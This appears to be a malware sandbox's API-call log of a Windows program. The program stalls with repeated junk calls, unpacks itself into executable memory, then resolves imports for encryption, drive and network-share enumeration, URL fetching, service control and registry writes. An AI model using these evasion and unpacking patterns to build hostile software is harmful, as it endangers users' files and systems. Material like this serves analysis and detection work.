returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.417] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.417] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.418] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.418] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.824] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x54 [0043.827] Module32First (hSnapshot=0x54, lpme=0x18fc2c) returned 1 [0043.829] CloseHandle (hObject=0x54) returned 1 [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0043.829] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.829] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.830] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.830] SetErrorMode (uMode=0x400) returned 0x0 [0043.830] SetErrorMode (uMode=0x0) returned 0x400 [0043.830] GetVersionExA (in: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x11239, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0043.830] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0043.836] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fe38 | out: lpflOldProtect=0x18fe38*=0x2) returned 1 [0044.048] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.050] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0044.050] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0044.050] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0044.050] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0044.050] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0044.050] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0044.050] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74a70000 [0044.052] GetProcAddress (hModule=0x74a70000, lpProcName="WNetCloseEnum") returned 0x74a72dd6 [0044.052] GetProcAddress (hModule=0x74a70000, lpProcName="WNetOpenEnumW") returned 0x74a72f06 [0044.053] GetProcAddress (hModule=0x74a70000, lpProcName="WNetEnumResourceW") returned 0x74a73058 [0044.053] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0044.063] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0044.063] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0044.063] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0044.063] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0044.064] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0044.064] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0044.064] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0044.064] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74a30000 [0044.066] GetProcAddress (hModule=0x74a30000, lpProcName="timeGetTime") returned 0x74a326e0 [0044.066] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0044.067] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0044.067] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0044.067] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0044.067] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0044.067] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0044.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0044.069] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0044.070] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0044.071] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0044.072] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0044.073] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0044.074] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0044.075] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0044.076] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0044.077] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0044.077] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0044.077] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0044.077] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0044.078] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0044.078] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0044.078] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0044.079] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0044.079] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0044.093] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0044.093] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0044.094] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0044.094] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0044.094] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0044.094] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 